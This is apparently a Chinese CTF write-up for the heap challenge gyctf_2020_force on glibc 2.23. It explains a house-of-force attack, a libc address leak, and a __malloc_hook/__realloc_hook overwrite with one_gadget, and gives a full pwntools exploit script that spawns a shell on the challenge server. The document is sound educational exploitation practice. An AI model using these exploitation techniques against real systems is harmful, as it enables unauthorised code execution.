glibc2.30后增加了对malloc的检查,malloc_hook手法已经不可用
直接上例题
gyctf_2020_force
checksec
1 2 3 4 5 6
| [*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
看看add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned __int64 sub_A20() { const void **i; __int64 size; char s[256]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); memset(s, 255, sizeof(s)); for ( i = (const void **)&unk_202080; *i; ++i ) ; if ( (char *)i - (char *)&unk_202080 > 39 ) exit(0); puts("size"); read(0, nptr, 0xFuLL); size = atol(nptr); *i = malloc(size); if ( !*i ) exit(0); printf("bin addr %p\n", *i); puts("content"); read(0, (void *)*i, 0x50uLL); puts("done"); return __readfsqword(0x28u) ^ v4; }
|
one_gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
先打house_of_force,拿捏top_chunk
同时,在分配第一个chunk时,程序还会打印出bin_addr,可以利用此泄露libc_addr
__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的,我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10,并劫持__realloc_hook为one_gadget
再次执行malloc即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
p = remote('node4.buuoj.cn',27065) libc = ELF("buu_libc-2.23.so") context(os='linux', arch='amd64', log_level='debug')
def debug(): gdb.attach(p) pause()
def add(size, content): p.recvuntil("2:puts\n") p.sendline("1") p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil(b"bin addr ") info = p.recvuntil("\n", drop=True) info = int(info.decode("ISO-8859-1"), 16) p.recvuntil("content\n") p.send(content) return info
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
libc.address = add(0x200000, 'chunk0\n') + 0x200ff0 success('libc_base'+hex(libc.address))
heap_addr = add(0x18,b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) success("heap_addr:"+hex(heap_addr)) top = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook'] success("malloc_hook:"+hex(malloc_hook))
realloc = libc.sym["__libc_realloc"] offset = malloc_hook - top system = libc.sym['system'] bin_sh = libc.search(b'/bin/sh')
success("system:" + hex(system)) success("bin_sh:" + str(bin_sh))
add(offset-0x30,b'aaa\n') add(0x30,b'a'*8+p64(one_gadget[1] + libc.address)+p64(realloc+0x10))
p.recvuntil("2:puts\n") p.sendline('1') p.recvuntil("size\n") p.sendline(str(20))
p.interactive()
|